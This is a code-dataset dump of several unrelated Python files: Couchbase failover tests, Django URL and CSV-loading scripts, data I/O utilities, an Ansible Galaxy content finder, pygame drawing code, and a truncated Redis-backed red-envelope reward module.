node_quota = task.result()\n if node_quota < quota or quota == 0:\n quota = node_quota\n return quota\n\n def _setup_cluster(self):\n rest = RestConnection(self.master)\n credentials = self._input.membase_settings\n ClusterOperationHelper.add_all_nodes_or_assert(self.master, self._servers, credentials, self)\n nodes = rest.node_statuses()\n rest.rebalance(otpNodes=[node.id for node in nodes], ejectedNodes=[])\n msg = \"rebalance failed after adding these nodes {0}\".format(nodes)\n self.assertTrue(rest.monitorRebalance(), msg=msg)\n\n def _create_buckets_(self):\n if self.default_bucket:\n self._cluster_helper.create_default_bucket(self.master, self.bucket_size, self._num_replicas)\n self.buckets.append(Bucket(name=\"default\", authType=\"sasl\", saslPassword=\"\",\n num_replicas=self._num_replicas, bucket_size=self.bucket_size))\n\n self._create_sasl_buckets(self.master, self._sasl_buckets)\n self._create_standard_buckets(self.master, self._standard_buckets)\n\n def _create_sasl_buckets(self, server, num_buckets):\n bucket_tasks = []\n for i in range(num_buckets):\n name = 'bucket' + str(i)\n bucket_tasks.append(self._cluster_helper.async_create_sasl_bucket(server, name,\n 'password',\n self.bucket_size,\n self._num_replicas))\n self.buckets.append(Bucket(name=name, authType=\"sasl\", saslPassword='password',\n num_replicas=self._num_replicas, bucket_size=self.bucket_size));\n for task in bucket_tasks:\n task.result()\n\n def _create_standard_buckets(self, server, num_buckets):\n bucket_tasks = []\n for i in range(num_buckets):\n name = 'standard_bucket' + str(i)\n bucket_tasks.append(self._cluster_helper.async_create_standard_bucket(server, name,\n 11214 + i,\n self.bucket_size,\n self._num_replicas))\n\n self.buckets.append(Bucket(name=name, authType=None, saslPassword=None, num_replicas=self._num_replicas,\n bucket_size=self.bucket_size, port=11214 + i));\n for task in bucket_tasks:\n task.result()\n\n def _async_load_all_buckets(self, server, kv_gen, op_type, exp, kv_store=1, flag=0, only_store_hash=True, batch_size=1, pause_secs=1, timeout_secs=30):\n tasks = []\n for bucket in self.buckets:\n gen = copy.deepcopy(kv_gen)\n tasks.append(self._cluster_helper.async_load_gen_docs(server, bucket.name, gen,\n bucket.kvs[kv_store],\n op_type, exp, flag, only_store_hash, batch_size, pause_secs, timeout_secs))\n return tasks\n\n def _load_all_buckets(self, server, kv_gen, op_type, exp, kv_store=1, flag=0, only_store_hash=True, batch_size=1, pause_secs=1, timeout_secs=30):\n tasks = self._async_load_all_buckets(server, kv_gen, op_type, exp, kv_store, flag, only_store_hash, batch_size, pause_secs, timeout_secs)\n for task in tasks:\n task.result()\n\n def _wait_for_stats_all_buckets(self, servers):\n tasks = []\n for server in servers:\n for bucket in self.buckets:\n tasks.append(self._cluster_helper.async_wait_for_stats([server], bucket, '',\n 'ep_queue_size', '==', 0))\n tasks.append(self._cluster_helper.async_wait_for_stats([server], bucket, '',\n 'ep_flusher_todo', '==', 0))\n for task in tasks:\n task.result()\n\n def _wait_for_replication(self, servers, timeout=600):\n tasks = []\n for server in servers:\n for bucket in self.buckets:\n for server_repl in list(set(servers) - set([server])):\n tasks.append(self._cluster_helper.async_wait_for_stats([server], bucket, 'tap',\n 'eq_tapq:replication_ns_1@' + server_repl.ip + ':idle', '==', 'true'))\n tasks.append(self._cluster_helper.async_wait_for_stats([server], bucket, 'tap',\n 'eq_tapq:replication_ns_1@' + server_repl.ip + ':backfill_completed', '==', 'true'))\n for task in tasks:\n task.result(timeout)\n\n\n def _verify_all_buckets(self, server, kv_store=1, timeout=180, max_verify=None, only_store_hash=True, batch_size=1):\n tasks = []\n for bucket in self.buckets:\n tasks.append(self._cluster_helper.async_verify_data(server, bucket, bucket.kvs[kv_store], max_verify, only_store_hash, batch_size))\n for task in tasks:\n task.result(timeout)\n\n def _verify_stats_all_buckets(self, servers):\n stats_tasks = []\n for bucket in self.buckets:\n items = sum([len(kv_store) for kv_store in bucket.kvs.values()])\n stats_tasks.append(self._cluster_helper.async_wait_for_stats(servers, bucket, '',\n 'curr_items', '==', items))\n stats_tasks.append(self._cluster_helper.async_wait_for_stats(servers, bucket, '',\n 'vb_active_curr_items', '==', items))\n\n available_replicas = self._num_replicas\n if len(servers) == self._num_replicas:\n available_replicas = len(servers) - 1\n elif len(servers) <= self._num_replicas:\n available_replicas = len(servers) - 1\n\n stats_tasks.append(self._cluster_helper.async_wait_for_stats(servers, bucket, '',\n 'vb_replica_curr_items', '==', items * available_replicas))\n stats_tasks.append(self._cluster_helper.async_wait_for_stats(servers, bucket, '',\n 'curr_items_tot', '==', items * (available_replicas + 1)))\n\n for task in stats_tasks:\n task.result(60)\n\nclass FailoverTests(FailoverBaseTest):\n def setUp(self):\n super(FailoverTests, self).setUp(self)\n\n def tearDown(self):\n super(FailoverTests, self).tearDown(self)\n\n def test_failover_firewall(self):\n self.common_test_body(self._keys_count, self._num_replicas, 'firewall')\n\n def test_failover_normal(self):\n self.common_test_body(self._keys_count, self._num_replicas, 'normal')\n\n def test_failover_stop_server(self):\n self.common_test_body(self._keys_count, self._num_replicas, 'stop_server')\n\n def test_failover_then_add_back(self):\n self.add_back_flag = True\n self.common_test_body(self._keys_count, self._num_replicas, 'normal')\n\n def common_test_body(self, keys_count, replica, failover_reason):\n log = logger.Logger.get_logger()\n log.info(\"keys_count : {0}\".format(keys_count))\n log.info(\"replicas : {0}\".format(replica))\n log.info(\"failover_reason : {0}\".format(failover_reason))\n log.info('picking server : {0} as the master'.format(self.master))\n\n self._load_all_buckets(self.master, self.gen_create, \"create\", 0,\n batch_size=10000, pause_secs=5, timeout_secs=180)\n self._wait_for_stats_all_buckets(self._servers)\n\n _servers_ = self._servers\n rest = RestConnection(self.master)\n nodes = rest.node_statuses()\n\n self._wait_for_replication(self._servers, timeout=600)\n chosen = RebalanceHelper.pick_nodes(self.master, howmany=replica)\n for node in chosen:\n #let's do op\n if failover_reason == 'stop_server':\n self.stop_server(node)\n log.info(\"10 seconds delay to wait for membase-server to shutdown\")\n #wait for 5 minutes until node is down\n self.assertTrue(RestHelper(rest).wait_for_node_status(node, \"unhealthy\", 300),\n msg=\"node status is not unhealthy even after waiting for 5 minutes\")\n elif failover_reason == \"firewall\":\n RemoteUtilHelper.enable_firewall(self._servers, node, bidirectional=self.bidirectional)\n status = RestHelper(rest).wait_for_node_status(node, \"unhealthy\", 300)\n if status:\n log.info(\"node {0}:{1} is 'unhealthy' as expected\".format(node.ip, node.port))\n else:\n #verify iptables on the node if something wrong\n for server in self._servers:\n if server.ip == node.ip:\n shell = RemoteMachineShellConnection(server)\n o, r = shell.execute_command(\"/sbin/iptables --list\")\n shell.log_command_output(o, r)\n shell.disconnect()\n self.assertTrue(status, msg=\"node status is not unhealthy even after waiting for 5 minutes\")\n\n failed_over = rest.fail_over(node.id)\n if not failed_over:\n self.log.info(\"unable to failover the node the first time. try again in 60 seconds..\")\n #try again in 75 seconds\n time.sleep(75)\n failed_over = rest.fail_over(node.id)\n self.assertTrue(failed_over, \"unable to failover node after {0}\".format(failover_reason))\n log.info(\"failed over node : {0}\".format(node.id))\n self._failed_nodes.append(node)\n\n if self.add_back_flag:\n for node in self._failed_nodes:\n rest.add_back_node(node.id)\n time.sleep(5)\n log.info(\"10 seconds sleep after failover before invoking rebalance...\")\n time.sleep(10)\n rest.rebalance(otpNodes=[node.id for node in nodes],\n ejectedNodes=[])\n msg = \"rebalance failed while removing failover nodes {0}\".format(chosen)\n self.assertTrue(rest.monitorRebalance(stop_if_loop=True), msg=msg)\n else:\n log.info(\"10 seconds sleep after failover before invoking rebalance...\")\n time.sleep(10)\n rest.rebalance(otpNodes=[node.id for node in nodes],\n ejectedNodes=[node.id for node in chosen])\n msg = \"rebalance failed while removing failover nodes {0}\".format(chosen)\n self.assertTrue(rest.monitorRebalance(stop_if_loop=True), msg=msg)\n for failed in chosen:\n for server in _servers_:\n if server.ip == failed.ip:\n _servers_.remove(server)\n self._cleanup_nodes.append(server)\n\n log.info(\"Begin VERIFICATION ...\")\n self._wait_for_stats_all_buckets(_servers_)\n self._wait_for_replication(self._servers, timeout=600)\n self._verify_stats_all_buckets(_servers_)\n self._verify_all_buckets(self.master)\n\n\n def stop_server(self, node):\n log = logger.Logger.get_logger()\n for server in self._servers:\n if server.ip == node.ip:\n shell = RemoteMachineShellConnection(server)\n if shell.is_couchbase_installed():\n shell.stop_couchbase()\n log.info(\"Couchbase stopped\")\n else:\n shell.stop_membase()\n log.info(\"Membase stopped\")\n shell.disconnect()\n break\n","sub_path":"pytests/failovertests.py","file_name":"failovertests.py","file_ext":"py","file_size_in_byte":16999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"316233068","text":"from django.conf.urls import url,include\r\nfrom . import views\r\n\r\nurlpatterns = [\r\n url(r'^$',views.index, name='index'),\r\n url(r'^contact/$',views.contact, name='contact'),\r\n url(r'^form/$',views.login, name='form'),\r\n url(r'^menu/$',views.menu, name='menu'),\r\n url(r'^about/$',views.about, name='about'),\r\n url(r'^catering/$',views.catering, name='catering'),\r\n #url(r'^bali/$',views.bali, name='bali'),\r\n #url(r'^jakarta/$',views.jakarta, name='jakarta'),\r\n]\r\n","sub_path":"tes/tokofood/food/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"32967914","text":"import cPickle\nimport common\nimport sys\nimport csv\nimport MatchingUtil as MU\nimport numpy as np\nimport words\nimport scipy.io\n\n\ndef readCSV(filename):\n lines = []\n with open(filename, 'rb') as f:\n reader = csv.reader(f)\n for row in reader:\n lines.append(row)\n return lines\n\n\ndef readWords(filename): # read the Word format from a CSV (word, frequency, feature1 ... featureD)\n common.log(50, 'reading Words:', filename)\n i = 0\n W = []\n freq = []\n features = []\n with open(filename, 'rb') as csvfile:\n reader = csv.reader(csvfile, delimiter=',', quotechar='|')\n for row in reader:\n #print row\n W.append(row[0])\n freq.append(int(row[1]))\n features.append(np.array(row[2:]).astype(np.float)) # skip frequency\n i += 1\n X = words.Words(filename)\n X.words = np.array(W)\n X.freq = np.array(freq)\n X.features = np.array(features)\n common.log(50, 'read', len(X.freq), 'words')\n csvfile.close()\n return X\n\n\ndef readPickledWords(filename):\n obj = unpickle(filename)\n N = len(obj['freq'])\n D = len(obj['featureNames'])\n # pre-allocate\n W = [0] * N\n freq = [0] * N\n common.log(50, 'reading pickled words N =', N, 'and D =', D)\n for i, w in enumerate(obj['freq']):\n W[i] = w\n freq[i] = obj['freq'][w]\n X = words.Words(filename)\n X.words = W # np.array(W)\n X.freq = np.array(freq)\n X.repr = obj['features'] # a dict to dict to count\n X.featureNames = obj['featureNames']\n assert set(X.repr.keys()) == set(X.words)\n return X\n\n\ndef writePickledWords(filename, freq, features, featureNames):\n obj = {'freq': freq, 'features': features, 'featureNames': featureNames}\n print >> sys.stderr, \"Pickling features to\", filename, 'N =', len(freq), 'D =', len(featureNames)\n pickle(filename, obj)\n\n\n# write X into filename in the following format\n# (word,frequency,features)\n# since no frequency is given, just use 0\ndef writeWords(filename, X):\n (N, D) = X.features.shape\n common.log(50, 'writing', N, 'word in plaintext')\n features = np.asarray(X.features)\n with open(filename, 'wb') as csvfile:\n writer = csv.writer(csvfile, delimiter=',', quotechar='|', quoting=csv.QUOTE_MINIMAL)\n for i in xrange(N):\n writer.writerow([str(X.words[i]),X.freq[i]] + [j for j in features[i, :]])\n csvfile.close()\n print >> sys.stderr, 'saved NxD', (N, D), 'words in:\\t', filename\n\n\ndef getHash(X, Y):\n s = hashlib.sha224(\"_\".join(X.tolist() + Y.tolist())).hexdigest()\n return s[1:10] # just take the first 10 letters.\n\n\ndef writeString(filename, string):\n with open(filename, 'wb') as f:\n f.write(string)\n\n\n\n# def getMatchingFilename(options, X, Y):\n# # computes a canonical name for a matching, based on the original lists of words\n# h = getHash(X, Y)\n# filename = 'cache/matching=' + h + '_expid=' + str(options.exp_id) + '.csv'\n# return filename\n#\n#\n# def writeMatching(options, X, Y, pi, edge_cost): # writes a matching pi to a csv file.\n# filename = getMatchingFilename(options, X, Y)\n# print >> sys.stderr, 'writing matching into file ', filename\n# with open(filename, 'wb') as csvfile:\n# writer = csv.writer(csvfile, delimiter=',', quotechar='|', quoting=csv.QUOTE_MINIMAL)\n# writer.writerow(pi)\n# writer.writerow(edge_cost)\n# matching = MU.getMatching(X, Y, pi, edge_cost)\n# writer.writerow(matching[0, :])\n# writer.writerow(matching[1, :])\n\n\ndef readMatching(options, X, Y): # reads a matching from a csv file.\n filename = getMatchingFilename(options, X, Y)\n print >> sys.stderr,'reading matching file', filename\n with open(filename, 'rb') as csvfile:\n reader = csv.reader(csvfile, delimiter=',', quotechar='|')\n rows = [row for row in reader]\n pi = [int(i) for i in np.array(rows[0])]\n edge_cost = [float(i) for i in np.array(rows[1])]\n pi = np.array(pi)\n edge_cost = np.array(edge_cost)\n return pi, edge_cost\n\n\ndef getEditDistFilename(X, Y):\n h = getHash(X, Y)\n filename = 'cache/edit_dist=' + h + '.npy'\n return filename\n\n\ndef readNumpyArray(filename):\n return np.load(filename)\n\n\ndef writeNumpyArray(filename, D):\n print >> sys.stderr, 'Saved array in:', filename\n np.save(filename, D)\n\n\ndef writeSeed(filename, seed):\n with open(filename, 'wb') as csvfile:\n writer = csv.writer(csvfile, delimiter=',', quotechar='|', quoting=csv.QUOTE_MINIMAL)\n for (i, v) in enumerate(seed):\n writer.writerow(v)\n print >> sys.stderr, 'Saved seed:', filename\n\n\ndef readSeed(filename):\n wordsX = []\n wordsY = []\n with open(filename, 'rb') as csvfile:\n reader = csv.reader(csvfile, delimiter=',', quotechar='|')\n for row in reader:\n #print row\n wordsX.append(row[0])\n wordsY.append(row[1])\n return wordsX, wordsY\n \n \ndef pickle(filename, obj):\n outfile = open(filename, 'wb')\n cPickle.dump(obj, outfile, protocol=2)\n outfile.close()\n\n\ndef unpickle(filename):\n infile = open(filename, 'rb')\n obj = cPickle.load(infile)\n infile.close()\n return obj\n\n\ndef readPy(filename):\n with open(filename, 'r') as f:\n data = f.read()\n A = eval(data)\n return A\n\n\ndef exportMatlab(filename, varname, A):\n scipy.io.savemat('/tmp/matrices/' + filename, mdict={varname: A})\n\n\nif __name__ == '__main__':\n readPickledWords('data/mock/pockX.txt')\n readWords('data/mock/mockX.txt')\n","sub_path":"newcode/IO.py","file_name":"IO.py","file_ext":"py","file_size_in_byte":5566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"298813627","text":"# (c) 2012-2019, Ansible by Red Hat\n#\n# This file is part of Ansible Galaxy\n#\n# Ansible Galaxy is free software: you can redistribute it and/or modify\n# it under the terms of the Apache License as published by\n# the Apache Software Foundation, either version 2 of the License, or\n# (at your option) any later version.\n#\n# Ansible Galaxy is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# Apache License for more details.\n#\n# You should have received a copy of the Apache License\n# along with Galaxy. If not, see .\n\nimport collections\nimport itertools\nimport logging\nimport os\n\nfrom galaxy_importer import constants\nfrom galaxy_importer import exceptions as exc\n\n\ndefault_logger = logging.getLogger(__name__)\n\nResult = collections.namedtuple(\n 'Result', ['content_type', 'path'])\n\n\nclass ContentFinder(object):\n \"\"\"Searches for content in directories inside collection.\"\"\"\n\n def find_contents(self, path, logger=None):\n \"\"\"Finds contents in path and return the results.\n\n :rtype: Iterator[Result]\n :return: Iterator of find results.\n \"\"\"\n\n self.path = path\n self.log = logger or default_logger\n\n self.log.info('Content search - Analyzing collection structure')\n contents = self._find_content()\n\n try:\n first = next(contents)\n except StopIteration:\n return []\n else:\n return itertools.chain([first], contents)\n\n def _find_content(self):\n for content_type, directory, func in self._content_type_dirs():\n content_path = os.path.join(self.path, directory)\n if not os.path.exists(content_path):\n continue\n yield from func(content_type, content_path)\n\n def _find_plugins(self, content_type, content_dir):\n for file_name in os.listdir(content_dir):\n file_path = os.path.join(content_dir, file_name)\n if os.path.isdir(file_path):\n raise exc.ContentFindError(\n f'Directory detected: \"{os.path.basename(file_path)}\". '\n 'Nested plugins not supported.')\n if (not os.path.isfile(file_path)\n or not file_name.endswith('.py')\n or file_name == '__init__.py'):\n continue\n rel_path = os.path.relpath(file_path, self.path)\n yield Result(content_type, rel_path)\n\n def _find_roles(self, content_type, content_dir):\n for dir_name in os.listdir(content_dir):\n file_path = os.path.join(content_dir, dir_name)\n if os.path.isdir(file_path):\n rel_path = os.path.relpath(file_path, self.path)\n yield Result(content_type, rel_path)\n\n def _content_type_dirs(self):\n for content_type in constants.ContentType:\n if content_type == constants.ContentType.ROLE:\n yield content_type, 'roles', self._find_roles\n elif content_type == constants.ContentType.MODULE:\n yield content_type, 'plugins/modules', self._find_plugins\n else:\n yield (content_type, 'plugins/' + content_type.value,\n self._find_plugins)\n","sub_path":"galaxy_importer/finder.py","file_name":"finder.py","file_ext":"py","file_size_in_byte":3353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"276830624","text":"from data import *\nfrom data_baseline import *\nimport import_dstc45\nfrom xtrack2_config import (\n experiment_directory,\n dstc45_config_dir\n)\n\n\ndef load_dialogs(data_dir):\n dialogs = []\n for f_name in sorted(os.listdir(data_dir), key=lambda x: x.split('.')[0]):\n if f_name.endswith('.json'):\n dialog = data_model.Dialog.deserialize(\n open(os.path.join(data_dir, f_name)).read()\n )\n dialogs.append(dialog)\n return dialogs\n\n\ndef parse_slots_and_slot_groups(args):\n slot_groups = {}\n slots = []\n for i, slot_group in enumerate(args.slots.split(':')):\n if '=' in slot_group:\n name, vals = slot_group.split('=', 1)\n else:\n name = 'grp%d' % i\n vals = slot_group\n slot_group = vals.split(',')\n slot_groups[name] = slot_group\n for slot in slot_group:\n if not slot in slots:\n slots.append(slot)\n return slot_groups, slots\n\n\ndef import_dstc_data(in_data_directory, out_dir, dataset):\n input_dir = in_data_directory\n flist = os.path.join(dstc45_config_dir, '{}.flist'.format(dataset))\n import_dstc45.import_dstc(\n data_dir=input_dir,\n out_dir=out_dir,\n flist=flist,\n use_stringified_system_acts=False\n )\n return out_dir\n\n\ndef prepare_experiment(\n experiment_name,\n data_directory,\n slots,\n slot_groups,\n ontology,\n skip_dstc_import_step,\n builder_opts,\n builder_type,\n in_datasets\n):\n e_root = os.path.join(experiment_directory, 'xtrack/%s' % experiment_name)\n debug_dir = os.path.join(e_root, 'debug')\n\n based_on = None\n for src_dataset, dst_dataset in in_datasets:\n out_dir = os.path.join(e_root, src_dataset)\n if not skip_dstc_import_step:\n import_dstc_data(data_directory, out_dir, src_dataset)\n dialogs = load_dialogs(out_dir)\n\n logging.info('Initializing.')\n if builder_type == 'baseline':\n builder_cls = DataBuilderBaseline\n elif builder_type == 'xtrack_dstc45':\n builder_cls = DataBuilder\n else:\n raise Exception('unknown builder')\n\n xtd_builder = builder_cls(\n based_on=based_on,\n include_base_seqs=False,\n slots=slots,\n slot_groups=slot_groups,\n oov_ins_p=0.1 if dst_dataset == 'train' else 0.0,\n word_drop_p=0.0,\n include_system_utterances=True,\n nth_best=0,\n score_bins=[0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.01],\n ontology=ontology,\n debug_dir=debug_dir,\n **builder_opts\n )\n logging.info('Building.')\n xtd = xtd_builder.build(dialogs)\n\n logging.info('Saving.')\n out_file = os.path.join(e_root, '%s.json' % dst_dataset)\n xtd.save(out_file)\n\n if dst_dataset == 'train':\n based_on = out_file\n","sub_path":"data_utils.py","file_name":"data_utils.py","file_ext":"py","file_size_in_byte":2949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"531935635","text":"network_analytics_fields = {\n \"report\": {\n \"report_type\": \"network_analytics\",\n \"report_interval\": \"last_30_days\",\n \"columns\": [\n \"hour\",\n \"insertion_order_id\",\n \"line_item_id\",\n \"campaign_id\",\n \"advertiser_id\",\n \"pixel_id\",\n \"imps\",\n \"imps_viewed\",\n \"clicks\",\n \"cost\",\n \"cpm\",\n \"cpm_including_fees\",\n \"revenue\",\n \"revenue_including_fees\",\n \"total_convs\",\n 'geo_country'\n ],\n 'filters':[{'geo_country': 'FR'}],\n \"groups\": [\"advertiser_id\", \"hour\"],\n \"format\": \"csv\"\n }\n}\n\nsegment_load_fields = {\n \"report\": {\n \"report_type\": \"segment_load\",\n \"columns\": [\"segment_id\",\n \"segment_name\",\n \"month\",\n \"total_loads\",\n \"monthly_uniques\",\n \"avg_daily_uniques\"],\n \"format\": \"csv\",\n \"report_interval\": \"month_to_date\",\n \"groups\": [\"segment_id\", \"month\"],\n \"orders\": [\"month\"],\n }}\n","sub_path":"pynexus/reports/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1145,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"215279650","text":"from LevelParts.Level import *\nfrom Const.Level import *\nfrom LevelParts.Map import *\nfrom pygame.draw import *\n\n\ndef map_draw(level_map: Map, screen):\n \"\"\"\n\n Draw map\n :param level_map: Object of class Map\n :param screen: Surface, where the picture is rendered\n\n \"\"\"\n rect(screen, WHT, (level_map.x, level_map.y, level_map.width, level_map.height))\n for i in level_map.Left_Roads:\n for j in i:\n circle(screen, BLC, j, 50)\n for i in level_map.Right_Roads:\n for j in i:\n circle(screen, BLC, j, 50)\n for i in level_map.Left_Roads:\n for j in i:\n circle(screen, WHT, j, 40)\n for i in level_map.Right_Roads:\n for j in i:\n circle(screen, WHT, j, 40)\n polygon(screen, BLC, level_map.Pole_Points)\n\n\ndef level_draw(level, screen):\n \"\"\"\n\n Draw level: all without all objects (in this function you don't need to draw map, city and another objects)\n :param level: Object of class Level, that we will draw\n :param screen: Surface, where the picture is rendered\n\n \"\"\"\n rect(screen, BLC, (0, 0, LevelXSize, LevelXSize))\n\n\nif __name__ == \"__main__\":\n print(\"This module is not for direct call!\")\n","sub_path":"Draws/LevelDraws.py","file_name":"LevelDraws.py","file_ext":"py","file_size_in_byte":1206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"380491907","text":"# Full path and name to your csv file\r\n\r\nimport sys,os\r\n\r\nbase_dir = os.path.dirname(__file__)\r\n\r\ncsv_filepathname=os.path.join(base_dir,\"csv/student_file.csv\")\r\n\r\n\r\n\r\n# Full path to your django project directory\r\n\r\nyour_djangoproject_home=os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\r\n\r\nprint (your_djangoproject_home)\r\n\r\nsys.path.append(your_djangoproject_home)\r\n\r\nos.environ['DJANGO_SETTINGS_MODULE'] = 'ratproject.settings'\r\n\r\nimport django\r\ndjango.setup()\r\n \r\nfrom rat.models import Student \r\nimport csv\r\ndataReader = csv.reader(open(csv_filepathname), delimiter=',', quotechar='\"')\r\n\r\nfor row in dataReader: \r\n student=Student()\r\n student.reg_no = row[0]\r\n student.roll_no = row[1]\r\n student.name = row[2]\r\n student.department = row[3]\r\n print( row[4] )\r\n student.cgpa= float(row[4])\r\n \r\n student.save()\r\n","sub_path":"ratproject/rat/load_student_data.py","file_name":"load_student_data.py","file_ext":"py","file_size_in_byte":860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"373025444","text":"# -*- coding=utf-8\n'''\nCreated on 2016年6月13日\n\n@author: zhaol\n红包模块\n红包 : red envelope\n\n红包ID的生成规范\n一,种类\n1)比赛红包\n2)现金桌奖励红包\n3)个人推广红包\n'''\n\nimport json\nimport random\nfrom sre_compile import isstring\n\nimport freetime.util.log as ftlog\nimport poker.entity.events.tyeventbus as pkeventbus\nimport poker.util.timestamp as pktimestamp\nfrom hall.entity import hallconf, hallitem, datachangenotify\nfrom hall.entity.hallconf import HALL_GAMEID\nfrom poker.entity.biz.content import TYContentItem\nfrom poker.entity.biz.exceptions import TYBizConfException\nfrom poker.entity.biz.item.item import TYAssetUtils\nfrom poker.entity.dao import daobase\nfrom poker.entity.dao import userdata as pkuserdata\nfrom poker.entity.events.tyevent import EventConfigure\nfrom poker.util import strutil\n\nget_content_by_item_script = \"\"\"\nlocal function cut_content_with_item(key, itemId)\n local contents = redis.call(\"LRANGE\", key, 0, -1)\n\n if #contents == 0 then\n return nil\n end\n\n -- 查找符合要求的记录。如果没有,就取第一个\n local item_content_index = 1\n for i=1, #contents do\n local content = cjson.decode(contents[i])\n if content[itemId] then\n item_content_index = i\n break\n end\n end\n\n local item_content_json = contents[item_content_index]\n\n -- 由于redis LIST 不能从中间pop,所以把取到的删掉\n if item_content_index == 1 then -- 优化操作只POP第一个\n redis.call(\"LPOP\", key)\n\n else\n redis.call(\"DEL\", key)\n for i=1, #contents do\n if i ~= item_content_index then\n redis.call(\"RPUSH\", key, contents[i])\n end\n end\n end\n return item_content_json\nend\n\nreturn cut_content_with_item(KEYS[1], ARGV[1])\n\"\"\"\n\nget_content_by_item_sha = None\n\n\nclass TYRedEnvelope(object):\n '''\n packages - 红包 LIST 单独存储,保持操作的原子性\n receiver - 领奖者 LIST 单独存储上, 保持操作的原子性\n '''\n # 事件ID\n EVENTID = 'HALL_RED_ENVELOPE'\n # 红包状态创建\n STATE_CREATE = '1'\n # 红包状态 被分享\n STATE_SHARED = '2'\n # 红包状态 抢光了\n STATE_FINISH = '3'\n\n def __init__(self):\n self.id = None\n # 奖品组成/配置一起存储,这些信息红包生成时存储,其他时候都是查询操作\n # 奖品\n self.contents = None\n # 奖品最小个数\n self.minCount = None\n # 奖品最大个数\n self.maxCount = None\n # 红包分包记录\n self.packages_his = None\n # 过期时间\n self.expiredTime = None\n # 数据库前缀\n self.dbPrefix = 'red_envelope:'\n # 红包状态\n self.state = self.STATE_CREATE\n # 领取红包key\n self.RECEIVER = '.receiver'\n # 配置KEY\n self.CONFIG = 'config'\n # 红包KEY\n self.PACKAGES = '.packages'\n # 内容KEY\n self.CONTENTS = 'contents'\n # 领取历史KEY\n self.PACKAGES_HIS = 'packages_his'\n # 红包状态KEY\n self.STATE = 'state'\n\n def getPrefix(self):\n return self.dbPrefix\n\n def buildEnvelope(self, _id):\n '''\n 生成红包\n '''\n global _redEnvelopeConfig\n\n self.id = _id\n self.contents = []\n self.packages_his = []\n # 设置过期时间,单位秒 s\n self.expiredTime = _redEnvelopeConfig['config']['expiredTime']\n\n return self\n\n def addEnvelopeItem(self, item):\n '''\n 添加奖品\n '''\n self.contents.append(item)\n\n def setReceiveParams(self, minCount, maxCount):\n '''\n 设置抽奖参数\n '''\n self.minCount = minCount\n self.maxCount = maxCount\n\n def buildShareTask(self, userId, gameId, url=None, title=None, desc=None, tips=None, shareIcon=None):\n '''\n 获取分享ID\n url - 红包分享页面的URL\n title - 红包分享时的标题\n desc - 红包分享时的描述\n tips - 游戏触发分享时的提醒\n shareIcon - 分享后的图片\n '''\n from hall.entity import hallshare\n\n global _redEnvelopeConfig\n\n shareId = hallshare.getShareId('red_envelope', userId, gameId)\n share = hallshare.findShare(shareId)\n if share:\n if url:\n share.setUrl(url)\n\n if title:\n share.setTitle(title)\n\n if desc:\n share.setDesc(desc)\n\n if tips:\n share.setTips(tips)\n\n if shareIcon:\n share.setShareIcon(shareIcon)\n\n # 设置分享的扩展参数 \n share.setNotifyInfo(userId, self.id, self.EVENTID)\n\n return share.buildTodotask(gameId, userId, 'red_envelope')\n else:\n return None\n\n def queryEnvelope(self):\n info = {}\n info['envelopeId'] = self.id\n info['contents'] = self.contents\n info['receiver'] = []\n receivers = daobase.executeMixCmd('LRANGE', self.dbPrefix + self.id + self.RECEIVER, 0, -1)\n if receivers:\n for receiverJson in receivers:\n receiver = json.loads(receiverJson)\n # 补充昵称/头像/金币信息\n userId = receiver['userId']\n chip, name, purl = pkuserdata.getAttrs(userId, ['chip', 'name', 'purl'])\n if chip and name and purl:\n if ftlog.is_debug():\n ftlog.debug('TYRedEnvelope.queryEnvelope receiver userId:', userId, ' chip:', chip, ' name:',\n name, ' purl:', purl)\n receiver['chip'] = chip\n receiver['name'] = name\n receiver['purl'] = purl\n\n info['receiver'].append(receiver)\n\n if ftlog.is_debug():\n ftlog.debug('TYRedEnvelope.queryEnvelope info:', info)\n\n return info\n\n def openRedEnvelope(self, userId, itemId=''):\n '''\n 打开红包\n '''\n global _redEnvelopeConfig\n\n # 是否领取过\n receivers = daobase.executeMixCmd('LRANGE', self.dbPrefix + self.id + self.RECEIVER, 0, -1)\n if receivers:\n if ftlog.is_debug():\n ftlog.debug('TYRedEnvelope.openRedEnvelope receivers:', receivers)\n\n for receiverJson in receivers:\n receiver = json.loads(receiverJson)\n if ftlog.is_debug():\n ftlog.debug('TYRedEnvelope.openRedEnvelope receiver:', receiver)\n if userId == receiver['userId']:\n return False, _redEnvelopeConfig['tips']['opened']\n\n # 构造添加给获取红包用户的奖励清单 \n contentItemList = []\n prizesJson = self._getPrize(itemId)\n # prizesJson = daobase.executeMixCmd('LPOP', self.dbPrefix + self.id + self.PACKAGES)\n daobase.executeMixCmd('expire', self.dbPrefix + self.id + self.PACKAGES, self.expiredTime)\n\n if prizesJson:\n prizes = json.loads(prizesJson)\n if ftlog.is_debug():\n ftlog.debug('TYRedEnvelope.openRedEnvelope prizes:', prizes)\n for prize in prizes:\n if ftlog.is_debug():\n ftlog.debug('TYRedEnvelope.openRedEnvelope prize:', prize)\n\n result, _itemId = self.getAssetID(prize)\n if result == False:\n ftlog.debug('TYRedEnvelope.openRedEnvelope prize err1: ', prize, ' left: ', self.contents);\n continue\n\n result, value = self.getItemValue(prize)\n if result == False:\n ftlog.debug('TYRedEnvelope.openRedEnvelope prize err2: ', prize, ' left: ', self.contents);\n continue\n\n if ftlog.is_debug():\n 